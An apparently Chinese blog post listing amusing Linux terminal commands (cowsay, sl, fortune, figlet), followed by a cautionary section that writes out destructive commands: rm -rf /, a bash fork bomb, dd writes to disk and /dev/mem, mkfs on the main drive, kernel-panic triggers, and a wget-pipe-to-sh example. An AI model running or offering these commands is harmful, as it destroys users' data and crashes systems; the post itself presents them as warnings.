kali 几个好玩的命令

1、yes命令,输出很多个y,可以用来对付选择很多y/n的应用。

$ yes linux

2、banner命令,打印字符标题,就是用字符拼出大字来:

$banner Linux

$sudo apt-get update;sudo apt-get install sysvbanner;sudo apt-get install sysvbanner toilet figlet  #安装banner 

$printerbanner -w 50 Linux # -w 宽度

$ toilet hello

$ figlet hello

$ toilet -f mono12 -F gay linux #加上颜色

 

3、fortune命令,随机输出一句话,或者是一句英文名言,或者是一首唐诗宋词来

$ sudo apt-get install fortune

$ sudo apt-get install fortune-zh #唐诗宋词

$ /usr/games/fortune

 

4、cal 9 1752,打印日历,但是这个月非常有意思(在9月2日后居然跳到了14日了),这是有原因的:

      在1582年,罗马教皇格列高里十三世宣布改历(由于闰年积累的原因),要求从1582年的10月4的下一天定为格列历10月15日,中间跳过了10天,在意大利、西班牙等国家都这样处理了,其他的天主国家也很快跟着这么做了,但是新教国家不愿意修改,而且希腊等东正教国家直到20世纪初才修改,所以这个改革在英国及其殖民地(包括美国)在1752年9月2日后面跟着的就是9月14日。但是在windows下,由于电脑的日期无法调回到那个时候(1980再往前就是2099年了),看来这段历史要靠Linux才能了解到了。

5、xev命令,打印及时的X事件;

6、xeyes命令,出眼睛的那个小程序,挺好玩的,

 

7、cowsay/cowthink命令,打印一个小牛(或者其他动物),说话或想象,内容可以自定:

$ sudo apt-get install cowsay

$ /usr/games/cowsay "i'm not a cow"

$ /usr/games/cowsay -l 查看其他动物名字,然后 -f 跟上动物名

$ /usr/games/cowsay -f dragon-and-cow "坑爹啊"

$ /usr/games/fortune | /usr/games/cowsay 让cowsay说出fortune内容

 

 

8、factor命令,分解因数:

9、shred命令,覆盖文件让它不能再读,传说中的文件粉碎机。。。^_^

10、apt-get moo命令:

11、apt-build moo命令:

 

12、sl命令,跑火车的,个人感觉这个是最有意思的了:

$usr/games/sl

13、linuxlogo命令,字符组成的各种系统的logo:

 

 

14、再试试下面这一串命令,也挺有意思的:

      aptitube moo

      aptitube -v moo

      aptitube -vv moo

      aptitube -vvv moo

      aptitube -vvvv moo

      aptitube -vvvvv moo

      aptitube -vvvvvv moo

      aptitube -vvvvvvv moo 

15、还有个命令叫:oneko,这个命令是在屏幕中有一只小猫追着你的鼠标跑,挺有意思的。

$ sudo apt-get install oneko 

$ oneko

16、还可以试试 who is i命令,在试试 who is sb 。。。

17、有人说,rm -rf / 和 dd if=/dev/zero of=/dev/mem,但是这可不是闹着玩的啊,这人是个坏蛋^_^,没事别乱玩,小心肠子都给你悔青了,哈哈。。。

18、 fork 炸弹
既然我们讨论的都是些奇怪的代码,不妨思考一下这一行:

:(){ :|: & };:
对你来说,这可能看起来有些神秘,但是我看来,它就是那个臭名昭著的 Bash fork 炸弹。它会反复启动新的 Bash shell,直到你的系统资源消耗殆尽、系统崩溃。

不应该在最新的 Linux 系统上做这些操作。注意,我说的是不应该。我没有说不能。正确设置用户权限,Linux 系统能够阻止这些破坏性行为。通常用户仅限于分配使用机器可用内存。但是如果作为 root 用户的你运行了这行命令(或者它的变体 Bash fork 炸弹变体),你仍然可以反复虐待服务器,直到系统重启了。

19、垃圾数据重写硬盘
有时候你想彻底清除硬盘的数据,你应该使用 Darik’s Boot and Nuke (DBAN) 工具去完成这项工作。

但是如果仅仅想让你的存储器乱套,那很简单:

任意命令 > /dev/hda
我说的“任意命令”,是指有输出的任意命令,比如:

ls -la > /dev/hda
……将目录列表通过管道送到你的主存储设备。给我 root 权限和足够的时间,就能覆盖整个硬盘设备。这是让你开始盲目恐慌的一天的好办法,或者,可以把它变成职业禁入方式。

20、擦除硬盘!
另一个一直受欢迎的擦除硬盘的方式是执行:

dd if=/dev/zero of=/dev/hda
你可以用这条命令写入数据到你的硬盘设备。dd 命令可以从特殊文件中获取无尽个 0 字符,并且将它全部写入你的设备。

21、/dev/null 的损失
另一个毁灭你的存储设备的方式,运行 mv / /dev/null 或者 >mv /dev/null。

在前一种情况下,你作为 root 用户,把整个磁盘数据都送进这个如饥似渴的 /dev/null。在后者,你仅仅把家目录喂给这个空空如也的仓库。任何一种情况下,除非还原备份,你再也不会再看见你的数据了。

22、格式化错了驱动器
有时候你需要使用这一条命令格式化驱动器:

mkfs.ext3 /dev/hda
……它会用 ext3 文件系统格式化主硬盘驱动器。别,请等一下!你正在格式化你的主驱动器!难道你不需要用它?

当你要格式化驱动器的时候,请务必加倍确认你正在格式化的分区是真的需要格式化的那块而不是你正在使用的那块,无论它们是 SSD、闪存盘还是其他氧化铁磁盘。

23、内核崩溃
一些 Linux 命令不能让你的机器长时间停机。然而,一些命令却可以导致内核崩溃。这些错误通常是由硬件问题引起的,但你也可以自己搞崩。

当你遭遇内核崩溃,重新启动系统你才可以恢复工作。在一些情况下,这只是有点小烦;在另一些情况下,这是一个大问题,比如说,高负荷运作下的生产环境。下面有一个案例:

dd if=/dev/random of=/dev/port
echo 1 > /proc/sys/kernel/panic
cat /dev/port
cat /dev/zero > /dev/mem
这些都会导致内核崩溃。

绝不要运行你并不了解它功能的命令,它们都在提醒我…

24、提防未知脚本
年轻或是懒惰的系统管理员喜欢复制别人的脚本。何必重新重复造轮子?所以,他们找到了一个很酷的脚本,承诺会自动检查所有备份。他们就这样运行它:

wget https://ImSureThisIsASafe/GreatScript.sh -O- | sh
这会下载该脚本,并将它送到 shell 上运行。

你认为你不会干那样的事?告诉我,所有那些 你在 Docker 里面运行的容器镜像在干什么?你知道它们到底在运行着什么吗?我见过太多的没有验证容器里面装着什么就运行它们的系统管理员。请不要和他们一样。

结束
posted @ 2018-06-14 00:04  冬季的袜子  阅读(3991)  评论(1编辑  收藏  举报